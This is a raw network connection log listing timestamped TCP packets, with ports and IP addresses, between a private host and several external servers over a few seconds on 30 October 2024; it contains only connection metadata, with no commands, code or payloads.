Oct 30, 2024 11:45:14.993475914 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.993530035 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:14.993562937 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:14.993587971 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.030363083 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:15.030390024 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:15.030442953 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.030445099 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:15.030457020 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:15.030482054 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.030504942 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.030518055 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:15.030540943 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:15.030567884 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.030607939 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.035495043 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.035551071 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:15.035583019 CET	49711	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.035602093 CET	443	49711	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:15.203176022 CET	49712	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.203224897 CET	443	49712	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:15.203284025 CET	49712	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.219883919 CET	49713	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.219917059 CET	443	49713	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:15.220016956 CET	49713	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.220782042 CET	49714	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.220844030 CET	443	49714	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:15.220933914 CET	49714	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.233445883 CET	49712	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.233464956 CET	443	49712	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:15.234379053 CET	49713	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.234396935 CET	443	49713	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:15.234710932 CET	49714	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.234724998 CET	443	49714	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:15.236598969 CET	49715	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.236613035 CET	443	49715	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:15.236706018 CET	49715	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.236856937 CET	49715	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.236869097 CET	443	49715	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:15.240556955 CET	49716	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.240624905 CET	443	49716	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:15.240703106 CET	49716	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.269813061 CET	49716	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:15.269887924 CET	443	49716	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:15.840442896 CET	49721	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:15.840460062 CET	443	49721	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:15.840681076 CET	49721	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:15.840948105 CET	49721	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:15.840962887 CET	443	49721	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:15.950299978 CET	49722	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:15.950356960 CET	443	49722	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:15.950444937 CET	49722	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:15.951455116 CET	49722	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:15.951468945 CET	443	49722	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:16.002697945 CET	443	49712	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.007927895 CET	49712	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.007927895 CET	49712	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.007952929 CET	443	49712	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.007963896 CET	443	49712	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.013081074 CET	443	49714	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.015427113 CET	49714	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.015438080 CET	443	49714	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.016381979 CET	49714	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.016386032 CET	443	49714	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.023118019 CET	443	49716	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.023479939 CET	49716	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.023497105 CET	443	49716	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.023886919 CET	49716	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.023893118 CET	443	49716	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.027122974 CET	443	49713	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.028203964 CET	49713	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.028238058 CET	443	49713	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.028978109 CET	49713	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.028985023 CET	443	49713	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.032304049 CET	443	49715	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.033092022 CET	49715	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.033101082 CET	443	49715	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.033878088 CET	49715	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.033885002 CET	443	49715	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.141515017 CET	443	49712	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.141550064 CET	443	49712	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.141607046 CET	443	49712	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.141628027 CET	49712	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.141670942 CET	49712	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.143611908 CET	49712	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.143611908 CET	49712	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.143631935 CET	443	49712	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.143640995 CET	443	49712	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.150449991 CET	49725	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.150486946 CET	443	49725	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.150643110 CET	49725	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.151453972 CET	443	49714	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.151484966 CET	443	49714	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.151557922 CET	49714	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.151561975 CET	443	49714	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.151607990 CET	49714	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.156001091 CET	49725	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.156021118 CET	443	49725	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.157072067 CET	49714	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.157083988 CET	443	49714	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.161040068 CET	443	49716	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.161053896 CET	49726	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.161101103 CET	443	49726	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.161112070 CET	443	49716	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.161196947 CET	49726	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.161250114 CET	49716	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.161251068 CET	49716	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.161284924 CET	49716	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.161303997 CET	443	49716	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.161621094 CET	49726	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.161634922 CET	443	49726	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.167170048 CET	443	49713	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.167465925 CET	443	49713	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.167521000 CET	49713	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.167738914 CET	49727	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.167754889 CET	443	49727	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.167829990 CET	49727	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.168024063 CET	49727	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.168040037 CET	443	49727	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.168206930 CET	49713	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.168229103 CET	443	49713	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.168242931 CET	49713	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.168251991 CET	443	49713	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.174448967 CET	49728	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.174458981 CET	443	49728	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.174523115 CET	49728	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.175251007 CET	49728	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.175265074 CET	443	49728	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.175435066 CET	443	49715	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.175460100 CET	443	49715	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.175501108 CET	443	49715	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.175555944 CET	49715	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.175669909 CET	49715	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.175681114 CET	443	49715	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.175692081 CET	49715	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.175698042 CET	443	49715	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.182919025 CET	49729	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.182946920 CET	443	49729	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.183000088 CET	49729	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.193706036 CET	49729	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.193722963 CET	443	49729	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.337032080 CET	80	49709	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:16.337199926 CET	49709	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:16.408061981 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:16.408096075 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:16.408263922 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:16.408941984 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:16.408972025 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:16.443013906 CET	49731	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:16.443069935 CET	443	49731	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:16.443182945 CET	49731	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:16.443469048 CET	49731	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:16.443484068 CET	443	49731	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:16.580159903 CET	49732	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:16.580208063 CET	443	49732	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:16.580271959 CET	49732	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:16.580625057 CET	49732	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:16.580652952 CET	443	49732	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:16.695852041 CET	443	49721	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:16.696058035 CET	49721	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:16.696070910 CET	443	49721	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:16.697129965 CET	443	49721	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:16.697242975 CET	49721	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:16.698167086 CET	49721	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:16.698247910 CET	443	49721	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:16.698327065 CET	49721	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:16.743331909 CET	443	49721	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:16.750093937 CET	49721	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:16.750103951 CET	443	49721	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:16.796907902 CET	49721	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:16.909590960 CET	443	49725	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.910485983 CET	49725	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.910511971 CET	443	49725	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.911143064 CET	49725	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.911150932 CET	443	49725	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.917745113 CET	443	49726	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.918129921 CET	49726	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.918150902 CET	443	49726	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.918693066 CET	49726	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.918698072 CET	443	49726	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.919995070 CET	443	49727	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.920305014 CET	49727	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.920321941 CET	443	49727	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.920702934 CET	49727	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.920710087 CET	443	49727	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.931564093 CET	443	49728	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.932107925 CET	49728	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.932121992 CET	443	49728	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.932810068 CET	49728	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.932816029 CET	443	49728	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.946532965 CET	443	49729	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.952853918 CET	49729	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.952872038 CET	443	49729	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.953919888 CET	49729	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:16.953924894 CET	443	49729	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:16.975768089 CET	443	49721	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.031233072 CET	49721	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.031249046 CET	443	49721	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.037369013 CET	49721	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.037446976 CET	443	49721	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.037651062 CET	443	49721	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.037719965 CET	49721	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.037719965 CET	49721	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.049273014 CET	443	49725	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.049444914 CET	443	49725	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.049551010 CET	49725	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.049747944 CET	49725	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.049747944 CET	49725	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.049767971 CET	443	49725	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.049781084 CET	443	49725	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.053412914 CET	49733	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.053438902 CET	443	49733	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.053519964 CET	49733	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.054363966 CET	49733	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.054374933 CET	443	49733	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.057248116 CET	443	49726	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.057563066 CET	443	49726	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.057626009 CET	49726	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.057831049 CET	49726	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.057847023 CET	443	49726	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.057859898 CET	49726	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.057868004 CET	443	49726	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.058631897 CET	443	49727	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.059012890 CET	443	49727	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.059128046 CET	49727	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.059257030 CET	49727	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.059257030 CET	49727	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.059267044 CET	443	49727	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.059277058 CET	443	49727	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.061706066 CET	49734	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.061737061 CET	443	49734	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.061918020 CET	49734	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.062397957 CET	49734	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.062417984 CET	443	49734	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.063910007 CET	49735	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.063921928 CET	443	49735	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.064121008 CET	49735	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.064202070 CET	49735	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.064210892 CET	443	49735	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.067037106 CET	443	49722	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:17.067097902 CET	49722	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:17.068417072 CET	443	49728	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.068495989 CET	443	49728	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.068672895 CET	49728	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.069513083 CET	49722	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:17.069525003 CET	443	49722	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:17.069777012 CET	443	49722	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:17.070795059 CET	49728	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.070795059 CET	49728	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.070806980 CET	443	49728	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.070817947 CET	443	49728	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.074358940 CET	49736	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.074393988 CET	443	49736	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.074536085 CET	49736	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.074693918 CET	49736	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.074707985 CET	443	49736	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.075948954 CET	49722	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:17.076184034 CET	49722	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:17.076189995 CET	443	49722	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:17.076564074 CET	49722	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:17.086884022 CET	443	49729	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.086942911 CET	443	49729	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.087197065 CET	49729	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.087258101 CET	49729	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.087270021 CET	443	49729	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.087284088 CET	49729	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.087289095 CET	443	49729	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.089246988 CET	49737	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.089266062 CET	443	49737	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.089387894 CET	49737	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.089574099 CET	49737	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:17.089586020 CET	443	49737	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:17.123326063 CET	443	49722	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:17.271136999 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.271570921 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.271585941 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.274857044 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.274941921 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.275285006 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.275382996 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.275736094 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.275744915 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.292706966 CET	443	49731	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.292988062 CET	49731	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.292999029 CET	443	49731	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.294509888 CET	443	49731	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.294560909 CET	49731	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.294874907 CET	49731	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.294965029 CET	443	49731	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.295056105 CET	49731	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.326383114 CET	443	49722	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:17.326946974 CET	49722	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:17.326978922 CET	443	49722	40.113.103.199	192.168.2.6
Oct 30, 2024 11:45:17.326998949 CET	49722	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:17.327025890 CET	49722	443	192.168.2.6	40.113.103.199
Oct 30, 2024 11:45:17.327430010 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.339343071 CET	443	49731	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.343036890 CET	49731	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.343051910 CET	443	49731	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.389915943 CET	49731	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.430567026 CET	443	49732	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.430779934 CET	49732	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.430792093 CET	443	49732	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.431816101 CET	443	49732	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.431889057 CET	49732	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.432349920 CET	49732	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.432414055 CET	443	49732	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.483659029 CET	49732	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.483664989 CET	443	49732	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.533279896 CET	49732	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.566236019 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.566410065 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.566508055 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.566508055 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.566539049 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.566700935 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.566775084 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.566781998 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.566800117 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.566824913 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.570218086 CET	443	49731	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.574268103 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.574377060 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.574393988 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.624448061 CET	49731	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.624458075 CET	443	49731	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.624481916 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.624495029 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.634501934 CET	49731	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.634605885 CET	443	49731	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.634665012 CET	49731	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.671322107 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.684374094 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.684652090 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.684801102 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.684812069 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.685904026 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.685978889 CET	49730	443	192.168.2.6	142.250.184.228
Oct 30, 2024 11:45:17.685987949 CET	443	49730	142.250.184.228	192.168.2.6
Oct 30, 2024 11:45:17.690361023 CET	443	49730	142.250.184.228	192.168.2.6
